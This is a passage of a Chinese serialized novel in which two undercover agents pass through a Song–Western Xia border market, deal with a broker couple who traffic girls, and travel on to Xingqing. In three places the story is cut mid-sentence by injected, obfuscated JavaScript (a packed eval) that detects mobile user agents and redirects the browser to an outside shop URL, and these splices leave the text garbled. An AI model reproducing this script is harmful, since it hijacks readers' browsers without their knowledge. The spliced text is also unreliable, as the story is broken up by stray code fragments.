醒透了的魏无功随手折了一小枝海棠戳到李在宥脑袋上,摸着圆滚滚的肚皮,说:“这位探花郎,我感觉我又撑了……”边说边吸了口卤梅水,结果因为刚吃了糖饼嘴里甜味儿还没过,一口下去酸得眼睛直眨巴。 这一路李大人都很大方,心疼他从小飘零,什么好东西也没吃过,看什么新鲜东西都给他买,基本上没让他空过嘴。魏无功就这么沿路走沿路吃,感觉自己腮帮子都坚硬了。他原地轻轻蹦跶两下,小心确认着有没有因为增重影响轻功——还行,问题不大。 “魏大人收收心,”李在宥刚拜别熙河路送行的地方官,快到牙人的住所,顿觉压力上来,连脑袋上的小动静都忽略了:“咱们的旅游结束了。” 再往前,没有州官罩着,穿上工匠的麻葛衫儿,他俩就是这世上两个最普通的百姓,也不知道有多少坎坷在暗处等着。 “啧,你就这点儿不好,老愁在前头,”魏无功啧了一声,把别在他头发里的花儿悄悄又取了下来:“来一口降降火。” “魏大人批评得是,”李在宥看了一眼他手上喝过的碗,接过去嘬了一口,立马吐吐舌头还给他:“好酸!拿走拿走……” 两人脚步轻快,一路朝着榷场走去。 黄河在这里拐了一个浑浊的急弯,日光白亮,风里混着沙,吹迷了人眼。榷场是一片被黄土墙、栅栏和瞭望塔圈起的场院,因为前些日子下了一场雨,地上有点儿未消的泥泞。越走近,越能闻见空气中牲畜粪便、熟羊皮、陈年香料和未洗净人身上的膻味混合的气息。 “胡人味儿真大,”魏无功的小狗鼻子在这种环境里很受罪:“我都分不清是牲口臭还是人臭,啧。” “小卷毛儿,你这是忘本啊。”李在宥瞅着他好笑,到了这边,魏无功没有刻意隐藏自己的特殊,把头发放下来随意扎了个辫子,一撮撮小卷儿在风里跟刚发芽的柳梢一样晃荡。 “我又没味儿,”魏无功撇撇嘴。不知道是不是错觉,他老觉得自己脖子上的挂绳散发着淡淡的香气,出了汗反而更明显了。不过再过几个月也不好说,夏天要来了,想身上没味儿都难。 “好像到了,应该就是这里,”李在宥指着榷场外围一排小矮棚子,那一溜看着像是官方牙人的驻点。 大宋和西夏虽然是沙场上的敌人,但是经济上又互相依赖——西夏虎踞河西走廊,把持东西通路,汉人想要的马匹、毛料、青盐和药材都得在这里交易,党项人亟需的织物、茶叶、瓷器和粮食,也只有在这里才能获得。 为了保障公平,也是为了防范走私,凡是想在榷场做生意,都得先有官牙引荐,再由保人(提供保险服务)担保,才能正式进入。交易当中买卖双方也需要牙人在中间斡旋,不得私自接触。两人首先要拜过的码头,正是其中一位官方的牙人,也是云昭阁发展的线人,名叫王贯生。 一处挂着块歪斜“王氏诚介”木牌的土棚前面,几个工匠拿着规矩绳墨正在排队,王贯生趴在案头,撅着屁股给他们登记。 “王哥,别来无恙,今年家里新麦子可好?”李在宥眼睛四处打量了一下,说了接头的话。 “哟,老弟来了!”王贯生一听有人问麦子,连忙放下笔,站起来迎接:“田让当兵的马踩了一块,不过好在补了银钱,”他回了暗号表明身份,说:“我这儿正做着契,让你嫂子先带你们去里面坐,我一会儿就来。” “老婆子诶!”王贯生冲后头喊了一声,一个和他年纪相仿的四十多岁的妇女从棚子后头出来,浑身精瘦,但是精神头很足。“带他们先去歇脚,”王贯生嘱咐他老婆:“给最好的那间。” “那自然,”王嫂冲着两人笑笑,看上去十分殷勤:“早都收拾出来了,就等你们呢!” 王家做的是劳工的中介,从今天起他们俩就是给牙人打工的手艺人了,因此王贯生和他老婆虽有意巴结,但是话语也只能点到为止,毕竟是明面儿的身份,他们夫妻还是两人雇主。 李在宥跟王哥道了谢,跟着王嫂往榷场更外围的临时棚屋聚集区走。牙人的生意做得大,居然起了一排两层的小砖楼,在一众毛毡帐篷和简陋木棚中显得十分阔气。 “这边儿一片都是你王哥盘下来的,不过条件一般,一楼这间最大,也安静,”王嫂把周边环境介绍了一番。劳工们大部分都是卖力气讨生活的,居住条件自然不会太好,王嫂已经尽力收拾出一间宽敞明亮的双人间了,剩下的大都是七八人挤在一个小屋,味道自然也是一言难尽。“你们哥俩在这儿先安顿下来,熟悉熟悉,过两天人齐了,咱们去榷场补办好文书就出发。” “给您添麻烦了,”李在宥冲王嫂拱手:“后面我们自己收拾,您先去忙。” “那行,吃饭的时候我再来叫你们,”王嫂这几天要准备妥当去兴庆府的物资,实在是忙,也没跟两人客气,简单交代几句就走了。 两人光速收拾好铺盖,魏无功拍拍李在宥,说:“走,转转去。” “好,”李在宥跟着他出了房间,在榷场边上的棚屋中间穿梭观察。 不过,榷场内外似乎是两个世界:除了筹备铺面的商人,外围住的都是普通的边民和临时来此等待征召的工匠,由于河湟一带年年打仗,天灾兵燹下,这里的人们脸上更多地透露出一种疲惫和漠然。一波一波的,管他是西夏、辽、宋还是更远的唃厮啰军队在这里匆匆征服又被征服,经常易主之地自然也没有更长远的经营打算,人的神色里全是“活过一天算一天”的磋磨。沙尘粘在脸上,在皱纹里搓出一道道的褶子,一如黄土高原沟壑纵横。 背阴的地方,春寒还料峭着,李在宥裹了裹外套。 “冷吧,”魏无功问。 “有点儿,不过太阳晒着就还好。” “那跟着太阳走。”魏无功指指二层小砖房的外围,那边向阳。 两人换到砖房另一边的大路,这时候上面突然有个小东西掉下来,正好冲着魏无功的脑袋,他反应很快,没等砸到就伸手接了,拿到眼前一看,是个绣了一半的褡裢口袋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322151|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “小哥儿真麻利!” 一个女声从上头传来,两人抬头去看,发现在牙人的居所,二楼居然有一屋子女眷,这会儿都趴在窗户上看他俩。掉东西的是个十五六岁的姑娘,长得挺漂亮,两个又圆又大的眼睛像小鹿,几根儿油亮的长辫子顺着窗框垂下来,天然去雕饰。 “……”魏无功被一堆女眷盯着,有点儿尴尬,问:“姑娘,是我上去给你还是你下来取?” “你扔上来给我呗,我们这儿锁着门,你进不来我也出不去。”那个姑娘说。 魏无功闻言,看了李在宥一眼。李在宥很警惕地打量了一圈儿,从荷包里掏出几个铜板扔进口袋里增重,一挥手扔回了窗户里。 “谢谢这位哥儿的添头,”那姑娘也不害羞,大大方方收了,冲着底下说:“我叫曹月华。” 看她没来由地报上自己的名字,李在宥也不接茬,冲上面挥挥手,拉着魏无功快步就走了。 离远了二楼的小窗,魏无功皱着眉头问:“那牙人做的是正经生意吗?”哪家正经中介二楼锁着人呐。 “他是,不过嘛……”李在宥想了想:“他老婆就不一定了。”云昭阁只有王贯生一个人的档案,是正经官牙,但是他老婆是不是拐卖女孩儿的牙婆可说不好。 “俗话说得好,车船店脚牙,无罪也该杀。”李在宥在阳光底下伸个懒腰:“就算是官牙,又能正经到哪里去……” 魏无功没忍住,又回头看了一眼。李在宥余光瞥见他动静,跟他开玩笑:“也没准儿单纯就是那小娘子看上你了,手头没有荷包,扔个口袋吸引你注意呢。” “滚啊。”魏无功把头转回来。 晚饭的时候,饭桌上并没有女眷的身影,只有几个跟他们一起去兴庆府的汉人工匠,或蹲或坐吃饭。魏无功留了个心思,瞥见王嫂挎着个装饭的篮子,小指头上勾着一串儿钥匙上了二楼。 “靠,还真是个牙婆。”魏无功瞬间觉得手里的饭不香了。夫妻两个一明一暗,男的对外做正经官方中介生意,女的背地里搞些这种替官宦人家寻妾室、婢女的勾当。 “我要是你我就不看,”李在宥端着个带着缺口的瓷碗,专心拿筷子划拨着咸菜上的盐粒子:“‘君子远庖厨’。”解决不掉的事儿,看了不堵心吗。 “……”魏无功放看了他一眼,没说话。 “怎么,不服气?”李在宥也停下筷子。 “有点儿。”魏无功点点头,重新端起碗继续扒饭。 李在宥盯着他吃了一会儿饭,啧了一声,拿筷子另一头戳着他嚼大米饭一鼓一鼓的腮帮子,问:“咱们这趟是来干什么的?” “找慧觉拿身份证,找门路去于阗,找血引的来历,”魏无功一根根儿掰着指头数完,指指自己的脑袋:“说一路了李大人,耳朵要起茧了!” “嗯……”李在宥也不知道该说什么了,拿筷子戳了戳碗里那根咸菜,把它翻了个个儿:“别分心。” “啊……”端着空碗的魏无功望天嚎了一嗓子:“听见了,两只耳朵都听见了!” 51.边境榷场 第二天清晨天刚亮,王哥就过来敲门,喊他们出发。 两人将大包小包收拾好,装进牛车里。王哥生意做得大,这趟去兴庆府,足足拉了四辆牛车,两车装人,两车装货。只有一个车子有车棚,明显是留给女眷的。 “先去榷场等我一会儿的,我办几件官事,中午正式出发,”王哥和几个男丁将茶叶一箱箱码好,轻微喘着气跟两人说:“你们没事可以去榷场转转,挺热闹。” 两人点点头,跟着他进了榷场门。宋侧守军照例查验公凭,王哥突然想起他俩的白契还没签字,连忙摊开纸页儿让他们在车辕上补。又掏纸笔又掏印泥,稍微有点儿手忙脚乱,李在宥只来得及匆匆扫一眼王哥准备的熙河路发放的“工匠赴夏执役”的官方文书,除了姓名籍贯、所行目的地、雇主王贯生,下角还写着他们共同的保人巴赫曼。 一边的魏无功已经把自己的名字龙飞凤舞地写了,正按着手印,王哥看李在宥还犹豫着,小声跟他说:“巴赫曼老爷在里面呢,你一会儿就能见上,做这行挺久了,老跟我搭的。”话说到这个份上,李在宥也不好再矜持,低头把自己的名字也签了。 王哥按人头交了门税,带着工匠们领了榷场发放的临时通行牌,进了头道门。还没等进中门,就听见里面人声鼎沸,各国语言交杂,混着远处黄河奔腾而下的水声,耳朵里一片嗡鸣,心情也跟着鼓噪起来,李在宥和魏无功都难免有些兴奋。 “一会儿买东西吗?”魏无功搓搓手。 正式进了榷场,看着满眼挤挤挨挨的商铺、琳琅的货品和服装各异的人马,魏无功的眼睛都不知道先往哪里放。长这么大,有记忆以来活动区域要么在深山里,要么在军营,还没见过这么多外国人扎堆出现。 李在宥背个随身的小包,也被榷场的繁华弄得有点应接不暇,五光十色的衣服和毛毡晃得他感觉有点儿晕:“估计不好买,这边都是大宗商品交易,应该不乐意做小单。” 一边的王哥听见他俩说话,说:“没事儿,看上什么只管叫我,肯定让你们买上。” “谢谢王哥,”李在宥冲他一笑,转头跟魏无功说:“还真是,没王哥中间介绍我俩想买人家还不搭理我们呢。”看得出来,王哥的中介能力在这一片区域口碑很好,一进榷场不少商贩跟他打招呼。 “你们先把手续办完再去转,不急这一会儿的,”到了工曹司的棚子,王哥喊他们去补进入西夏的手续,先是录名字,再去办夏国道引,都盖上了准行的朱印,王哥又支使他们去找巴赫曼画押。 “他的铺子在直走最前头,”王哥伸手往前一指。道引的钤印有了保人的戳才算是齐全,若是在西夏国境犯了什么事儿,巴赫曼要承担连带责任。 “走,会会他去,”李在宥有点儿介意王哥安排他们入境之前,没有提前交代巴赫曼的根底,走完流程就忙不迭拉着魏无功往路的尽头冲。 正在盖章的巴赫曼是很典型的波斯祆教(又称拜火教)徒:高鼻深眼,蓄着浓密的大胡子,衣着清一溜儿浅白色,戴顶小圆帽,浆洗得干净。天冷,他在外头罩件浅色棉马甲,用一条七彩长羊绒绳在腰间系着。除了有一些轻微的卷舌音发得奇怪,大部分的汉语吐词都很清晰。 李在宥看了眼他的马甲,有点儿眼馋。如此效率的避寒衣物,到了中原只有宫里偶尔有得穿。虽然造价并不贵,奈何棉花只在西域产。 “提醒我,回头想办法弄点儿棉籽带回去。”他小声跟魏无功说。 “身份证,于阗,血引,棉花籽,”魏无功又装模作样掰个手指头:“行了吧。” “行。”李在宥偏头笑笑,搭着他的肩膀走上前去和巴赫曼打了个招呼。 巴赫曼很热情,一边寒暄,一边哐哐给他们的道引敲上章。李在宥看了眼他手边一沓自留的文件,最上面写着曹月华的名字,问:“她们也去兴庆府吗?” 巴赫曼顺着他的眼睛瞥了一眼,说了个很圆通的话:“这边都是南来北往的生意人,急匆匆的,不如晋王府条件稳当。” “噢……”李在宥听明白了,言下之意是,晋王府买下人不仅出价高,供需看上去还是长期的,看来王家这牙婆的营生不比她男人小,也厉害着呢。 他们后头还有一串人排着队等巴赫曼盖章、勘合,所以简单讲了两句就自己找地方溜达去了。空气中有些草药和香料的味道香中带臭,熏得李在宥有点儿恶心。想提议去外围待一会儿,但是转头一看,魏大人看着铺子里卖的各种犀角、玛瑙、肉干儿两眼放光,又把话咽了。 “有看上什么吗?”他问。 “嗯?”魏无功正看着一片眼花缭乱新奇,没顾上回他的话,突然发现了什么,赶忙拿胳膊拱拱李在宥: “哎呦喂,看见老熟人了!” 李在宥顺着他的方向看过去,居然是茶栈里交过手的两个金人探子:蛮瓜脸和络腮胡。两个人穿着收袖口的粗布衣,混在南来北往的商队里,负责押车。 “还真是,”李在宥乐了:“不是冤家不聚头,走,会会他们去。” 两人互相递了个眼神,憋着笑偷偷靠过去。魏无功瞄准了蛮瓜脸,趁着他安静卸货的时候,往他肩膀上猛地一拍。 “谁!”蛮瓜脸吓一大跳,猛地一回头,想回身抓人没抓到,眼仁儿都差点从眼眶子里掉出来。 魏无功笑着退开半步,双手插兜,对他说了声:“嗨~” 络腮胡听见动静,一个箭步冲过来,四周都有人看着不好动手,只能警惕地盯着他俩,问:“你们想干什么?” “不想干什么,就是打个招呼。嗨~”李在宥也学着魏无功“嗨”了一声,贱兮兮的。 蛮瓜脸眼睛对着两人上下扫了一圈,问:“你们这趟,什么来头?” “工匠。”李在宥一边答应,一边掀开一角他俩身边商队货车上的布幔,看见车身上写着兴庆府的字样,问:“怎么没直接去于阗?” “先去兴庆府换层皮。”蛮瓜脸也没瞒他们,看来都是要去都城的,以后搞不好低头不见抬头见,到了夏国境界,不分尊卑贵贱,都是二等公民。 “认识一下吧,”蛮瓜脸伸出手:“我叫蒲察。” “李在宥,”李在宥伸手跟他握了握。 “徒单,”络腮胡也伸出手,魏无功敷衍地碰了一下就收了回来,顺嘴报上自己姓名。 两边一番互相介绍,暂时搁置过节,便没了多余的话。 “那后面……各凭本事?”蒲察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334042|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 “各凭本事。”李在宥冲他俩点点头,搭着魏无功的肩膀走了。 “还是云昭阁的线人靠谱,”魏无功回头看了一眼,蒲察和徒单已经又开始搬东西了,说:“他们还要真干活儿呢。” 李在宥笑着摇摇头:“靠不靠谱跟这有什么关系,我倒愿意王哥一本正经喊我干点儿活儿。”一边说,一边看见魏大人的注意力又被烤羊肉串儿勾走了,心想怎么还没吃饱。 两人沿路走沿路逛,还被一个陌生的大姐塞了一小把风干牛肉试吃。魏无功啃着啃着,在一个卖古董的地摊儿前站住了,偏头看眼李在宥,啧了一声:“好家伙,全是自家的东西。” 李在宥叹了口气,蹲在了地摊前。 自唐末以来,幽云一带几度易主,好多宝贝就这么流落到了辽国人手里。随着残余的耶律势力一路西逃,这些东西有的到了金人手上,有些就落到了党项人口袋里。 汉人的书法字画最稀罕的、最懂的也还是汉人自己,所以逐渐地,古董贩子们发现,与其卖给其他统治者,还是卖回大宋文人手里划算,这才出现在了榷场。 两人一顿淘,大件的木雕石雕、金银铜铁带不走,书画也是真假参半,不知换了几道手才到他们面前的古董贩子手上,那个党项商人自己也不清楚每一件的来历和价值,胡乱看着卖。 李在宥拿眼睛在里面东挑西拣,发现有一个螺钿镶嵌玉轴的《孝经》和一本无注疏的官刻《春秋》,纸墨精良,开本阔大,起了点儿赎回的心思。虽然这个行为感觉有点蠢,但是他自认为这样的汉家经典,流落在这穷兵黩武的蛮化之地,也是一种侮辱,因此还是想咬牙买下来。 魏无功看出了他的心思,说:“你在这儿等着,我去喊王哥。”李大人明显是手痒痒了想翻开看看,但是没有牙人斡旋,古董商贩也不会拿给他瞧。 王哥来了替他一顿砍,基本让李在宥用一个买一赠一的价格拿下了。《孝经》外壳华丽,是个人都知道值钱,《春秋》书封朴实,所以商贩直接算作顺便搭的添头。李在宥拿了书,因为省了钱正乐,突然想明白道理又不乐了,心情十分复杂地将两本经卷收好放进随身的小包里,因为《春秋》没盒子,特意用布包了两圈。 魏无功看了眼天,太阳差不多挂在当中了,跟他说:“回吧,坐牛车去。” “好,”李在宥重新把小包背上,跟着他和王哥往工曹司走,还顺手给他和魏无功一人买了一件棉马甲。 “都开春了,这会儿买是不是有点奢侈?”魏无功心疼钱,他俩出门虽然带的银子不少,奈何李大人花钱大手大脚的,也没记个账。 “还要料峭两天呢,”李在宥直接就穿上了,拿手指搓着衣角,说:“再说了,又不是不过别的年份的春秋了。” “行吧……”魏无功正跟他说着话,突然一边的王哥小声骂了一句就往前面跑。魏无功顺着他小跑的方向看了眼: 不知怎么地,王嫂和女眷们在牛棚车前面,被一群唃厮啰人团团围住,一边的曹月华哭得梨花带雨。 李在宥正在放缓脚步,看要不要找个理由回避一下,结果魏无功来了句“走,看看去”,拉着他就往那边赶。李在宥边叹气边摇头,这小狗性格。 52.杆儿爷 半炷香前,王婆正指挥着女眷们上车,一群唃厮啰贵妇人,带着三四个耳戴大银环、腰间别着佩刀的男仆,走货路过。打头的妇人无意中扫了一眼正在上车的姑娘们,一甩氆氇袍镶狐皮的袖子,临时起意要带几个回去,感觉汉人丫鬟说出去有面儿。 牙婆犹豫了一会儿,不是很想答应,但是看着对方暴发户一样的气度,又感觉是个有钱的,也没一口拒绝,就让姑娘们站成一排,让妇人先挑挑看。 唃厮啰妇人的确有钱,但是说到底只是个乡绅人家的夫人,因此选人的时候格外挑剔张扬,生怕被人看轻,专捡刁钻的问:既要脸蛋儿小巧,又要女工细致,不仅嗓音要亮、会认字写字,最好还要有些才艺傍身。最后挑来挑去,就剩一个曹月华让她十分满意。 “那个,我要。”妇人拿马鞭指了指曹月华。 曹月华哪里肯,晋王府她都不想去,更何况西北边儿人烟稀少的大高原,当即就闹了起来。牙婆见怪不怪,把她晾在一边,开始演。 “夫人真是好眼力呀,”王嫂一拍大腿,做出一副十分可惜的样子:“但是您看,这本来是要送到夏国晋王府里去的,人家府里订金都交了……” “晋王府?”妇人眉头一皱:“多少订金,我还出不起了?”她一脑袋发辫上缀满珊瑚珠和绿松石,看着沉甸甸的,每动一下都叮当作响,像一只华丽的大鸟在抖动尾羽。 “那是自然,那是自然。”王嫂赔着笑,却不接话,只侧身挡了挡曹月华,装出一幅要走的样子,转头朝车上喊:“都坐好了,别磨蹭——” “等等,”妇人身边看上去像她儿媳妇模样的年轻女子替她喊了一句:“我们加一成!” 曹月华本以为这事儿结了,正开开心心往车上爬,又给王嫂一把揪下来。王嫂把她薅到身前,抬起脸冲着妇人,更殷勤了:“夫人您这话说的,我哪能跟您抬价。只是这丫头命好,被府里管事的看中了,说是去了若伺候得好,将来给老爷做小,运气好再生个小子,那可是一辈子的福分。”见那曹月华又开始要闹,王嫂一手捂了她的嘴:“我虽不是她亲娘,也养了她到大,怕耽误了她前程……” 年轻女子眉毛一挑:“妈妈,不是我说你,在人家府里当小,看人眼色过日子,哪比得上在我家自由自在?” “那是那是,夫人们的家世,自然比寻常官宦人家还体面……”王嫂嘴里应着,眼睛往她身上溜了一圈——那少妇打扮的年轻女子虽然站在婆婆身边低眉顺眼的,衣服倒是都穿得精致,腰上还缀着金链子。于是她见好就收:“您和夫人将来要是替她寻摸个好人家,那是她的造化,只是王府那边……” “三成。”贵妇人最后开了口。 王嫂眼睛一亮,随即又压下去,假惺惺叹口气:“夫人您真是让我为难……” “行了,”那妇人不耐烦了,一扬下巴,“让你家丫头收拾东西,跟我走。”她转身朝下人伸手:“拿钱袋来。” 下人闻言,一摸腰,愣了一下,小心看她一眼又摸了一圈儿。 “磨蹭什么?”妇人皱眉直催。 戴大耳珰的汉子脸色一白:“夫人,钱袋……不见了。” …… 李在宥和魏无功在远处时,以为是强抢民女的戏码,没成想凑过去,发现地上还蹲着个光着膀子的老乞丐,正在打滚撒泼。 原来,唃厮啰人发现丢了钱袋的时候,一回身,一个老头儿正鬼鬼祟祟地在不远处往这边瞄,两边眼睛一对上拔腿就跑,被那几个汉子提溜回来摁在地上。 “真不是我啊老爷!”老乞丐一顿哭嚎,那几个唃厮啰汉子将他外面破得掉絮的冬衣扒了,里面也没穿别的,这会儿光个上半身被一堆人盯着老脸有些挂不住:“身上你们也搜过了,是真的没有哇!” 但是那几个汉子也不肯放开,若不拿他说事,惹恼了夫人连个顶包的都没有。 “那你鬼鬼祟祟偷瞄什么!”一个汉子理不直气也壮,大声呵斥:“个歪眉斜眼儿的臭要饭的……” “我……不是,谁瞄你了!”老乞丐见没办法,只好道出实情:“我他妈瞄姑娘呢!” “……”话说到这个份上,一群人都有点儿尴尬,王哥偷偷劝王嫂算了,先让女孩儿们上车,但是王嫂舍不得谈成的那个价钱不肯走。唃厮啰人也倔,明知老乞丐身无分文也不肯承认自己没了钱,一门心思要带这丫头走。 李在宥眼睛在人群中打转,看那曹月华哭得虽然凶但是很有节奏,但眼睛时不时偷瞄牙婆和妇人的脸色,该停停,该续续,忍不住啧一声感叹:“这丫头精着呢。” 还是最后魏无功眼尖,问那汉子:“车棚子底下那个黄的,是你们的吗?” 汉子顺着他手指的方向一看,大喜过望,还真是他的钱袋子,不知什么时候落了,被压在车辙子底下,上面压了一泡牛粪。看着唃厮啰人开始掏钱,曹月华的哭声又大了,喊着:“我不是汉家女!我不是你要的汉家女!我阿塔(爸爸)是粟特人!”奈何官话讲得得字正腔圆,也没人理会。 这时候,一直在地上赖着的老乞丐不乐意了,一把抱住贵妇人的脚,半揩油半耍赖地说:“夫人啊,我可是结结实实挨了一顿冤枉揍,您可不能就这么打发了我呀……”言下之意,不赏点儿银钱他是不会走了。 妇人正烦着,被哭闹声吵得耳朵疼,一抬脚就给老叫花子踹一边儿去了,几个汉子拦着他不让他靠近自家夫人。眼见着他们带着曹月华要离开,老头儿灵机一动,改换成曹月华的胳膊抓着。 “嘛呢你!放手!”曹月华的另一只手被儿媳妇抓着,另一只胳膊被要饭的抓着,儿媳妇气不过,隔着她对老乞丐破口大骂。边上的汉子也七手八脚扑上来,对着老头儿一顿拳打脚踢,奈何他五根指头抓得死紧,蜡黄的指甲都快隔着衣服嵌进肉里去。曹月华在一堆人里,感觉自己被两头扯,实打实吓着了,假哭也变成真哭,哭着哭着逐渐没了声儿。 “诶,操,”一边看热闹的李在宥突然发现她状态不对,赶紧拍了拍还在发懵的魏无功:“快去把她弄出来,好像发羊角风了!” 魏无功闻言,连忙大声吼了一句“都撒开!” 这一嗓子中气很足,两边儿还真都被他唬住。动作一停,一干人惊讶地发现,曹月华不知什么时候开始,双眼上翻,口吐白沫,整个人都抽抽了起来。魏无功也不跟他们啰嗦,顺手从工曹司的木桌上拿了一支笔,左手对着姑娘下颌骨一捏,将笔杆子横在她嘴里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“又是执役工匠,”党项兵轻蔑地嗤了一声:“晋王爷到底要拉多少汉人修庙?”王哥只好又回头添了两包茶饼,才换得那人鼻子哼一声,总算是正式出了国境,进入西夏地界。 河边的风沙轻轻扑在人脸上,温柔又干燥。李在宥挨着魏无功坐着,裹着新鲜的棉马甲,跟着车子的节律晃着,在阳光底下被晒眯了眼。 他随手弹了一下魏无功头发打卷儿的尾稍,问:“诶,抠门儿精,干嘛突然对个路边的色老头儿这么大方?” “嗯……我也说不好,就是感觉有点亲切。”魏无功摸摸鼻子想了一会儿:“那会儿我跟着癞头道士上山,也是一个杆儿一个碗……可惜不知道他后来去哪儿了。” “怎么,你还想找着他给他养老啊。”李在宥笑他。 魏无功啧了一声,手掐着指节:“要算起来,那人这会儿要是还活着的话,得有九十多了……算了,不可能到那般年纪,肯定悄摸儿死哪儿了。” 李在宥一边留神听他说小时候的事儿,一边回头看了一眼榷场。牛车走远了,榷场的叫卖声也被风声掩盖。他最后看了一眼榷场重兵把守的大门,忍不住琢磨:他们两个云昭阁的后生没有门路都进不去的地方,一个老叫花子又是怎么进去的呢…… 53.波斯人家 牛车晃悠悠走得慢,前前后后花了大半个月才到兴庆府城郊。 一路沿着贺兰山从南往北,绿洲星罗,戈壁辽阔,风景与中原已截然不同。戈壁荒滩上零星长着些梭梭、沙蒿、骆驼刺,然而这些低小的植被无法挡住漫天沙尘。为了不弄得满头满脸灰,两人拿头巾裹着脸,只留下两个眼睛放在外面。 魏无功看着靠着车板鸡啄米点着头的李在宥,感觉他下眼睑黑眼圈有点儿重。昨天夜里下榻的旅店环境一如既往地糟糕,公子哥儿应该是没休息好。 “你要不躺下来睡会儿,这么勾着脑袋一会儿又晕。” “不……”李在宥咕哝一句:“躺在车板儿上一颠一颠的,头跟球似的磕,脑袋嗡嗡的。” “那……来,”魏无功拍拍腿:“枕这儿。” 李在宥一愣,从善如流地就坐过去了,刚准备美滋滋躺下,突然听见边上工匠都齐刷刷地发出惊叹声,也昂起脑袋看发生了什么。 他们的车子经过一片开阔的场域,远远能看见一座座巨大的八角灰白色陵塔星列瀚海戈壁,一条宽得容千乘的神道前面伫立着一排排巨人泥像,文官持笏,武将按剑,在夕阳里深沉。石马石羊半跪在沙土里,躬身垂目。风从更远处、尚带着残雪的贺兰山脚吹来,卷起砂石,打在陵塔的夯土墙上,沙沙作响,像英灵的喟叹。 “这是西夏王陵,”前面赶车的王哥听见后面的动静,回头和众人说:“派头很足吧!咱们后面上工的法会场,就离这儿不远,都早点儿混个眼熟。” 目的地快到了,他赶牛的鞭子也积极了起来。“不过咱们还是得从兴庆府城门进去,做完晋王府衙那边的登记,再绕道回来。” “真壮观呐……”李在宥睁着有点朦胧的眼睛小声感叹。风将他的头巾和发丝吹得轻轻拍在脸上。穹隆苍莽、大地豪迈,一种山川异域之感油然而生——他们已经离故乡很远了,远到黄鹄鸟都难飞回。夕阳如血,笼罩在王陵上空,如果乡愁有颜色,大概,就是这种颜色吧。 “你好像有点烧。”一边的魏无功观察了他一会儿,把手伸到他脑门儿上。 “是么,”李在宥晃了晃脑袋,果然感觉有点儿晕:“还真是……” 魏无功把他脑袋一按,搁在自己腿上,往他身上搭了件衣服。 “你眯会儿,”他说:“回头安顿下来,给你找点儿药。” “嗯……”李在宥脑袋冲着他的肚子,嘴角有点儿压不下来,于是只好把脸又往里面转了转,发现这个角度闭着眼睛能感受到魏无功的呼吸。 “嗯?你平时一直都是腹式呼吸吗?”李在宥凝神感受了一下,怪不得功夫好,连吐纳都控制着呢。 “你师父偏心,都没教我这个。”李在宥撇撇嘴:“是有什么内功心法……” “睡你的吧,这么多话。”魏无功扯了一下他的头巾,把眼睛也盖住了。他记事起就是这么喘气儿的,哪有什么法门。 “再坚持一会儿,还有不到两个时辰就到了,”前面的王哥听见他们说话:“巴赫曼老爷家有胡药,很灵,让他老婆给你们抓一副,包你这第二天就能好。” 天色开始擦黑的时候,远处终于出现了城墙的影子。 那是魏无功见过的最厚的城墙,足有三丈高,墙顶宽阔得可以跑马。黄土墙身和戈壁沙滩一个颜色,像从地里长出来的,又像是地本身。 城墙下壕沟深厚、羊马墙密匝,门口两队士兵列道,甲胄精良、长枪锃亮,不愧是在几大强权轮番伺候中顽强生存下来的国家军团,光看气质,就能感觉到其中的骁勇善斗。 可惜魏无功已经不在军中,不然真想在沙场上和这帮人试试深浅。 他轻轻摇醒李在宥,喊他起来准备接受守军的盘问。他们进城的时候已经入夜,道路两旁密密麻麻的店铺大部分正在收摊儿,晚市最后的叫卖声混着驼铃,随着晚风一点点走远。 兴庆府街道一如棋盘,坊里,皇城、官署、寺庙、市集、民居井然分开。随着路面收窄,一行人下车改为步行。王哥和巴赫曼把其他的工匠安顿好,带着李在宥和魏无功到了一片胡人聚居区,这里是巴赫曼的住宅,他的老婆戈尔达已经准备了一桌好饭,给他们接风。 “这一路跟着他们上工的住,苦了你俩了,照顾不周,还把在宥老弟给整病了,真不应该。”王哥凑过去看了一下李在宥,黑灯瞎火地也看不清脸色,说:“今天高低吃顿好的补补。” 还没进巴赫曼家门,光在门口,扑面而来就是一股羊膻味儿。李在宥本来就晕,一闻这味儿直接就想吐,翻着眼睛压了几下才压下去。魏无功把他一只胳膊架起来搭在自己肩膀上,眼睛四处张望。 巴赫曼家门口看着不显山不露水的,里面天地还挺大。一个四四方方的小院子,种着薄荷。里屋两侧堆着东西,看着是干药材。 “巴老爷,您平时研究药吗?”魏无功问。 “我不懂这些,我老婆戈尔达主要在管,”巴赫曼随手指了指隔壁:“边上一间药铺是我找人打理的。”他在里屋门口喊了一声,一个嬷嬷出来开门,像是家里的杂工。 “另一边的当铺也是您的吧。”李在宥跟在后面问了一句。 巴赫曼回头看了他一眼,点了个头,说:“老弟眼神好,那个叫‘宝记’的当铺确实是我的生意。” 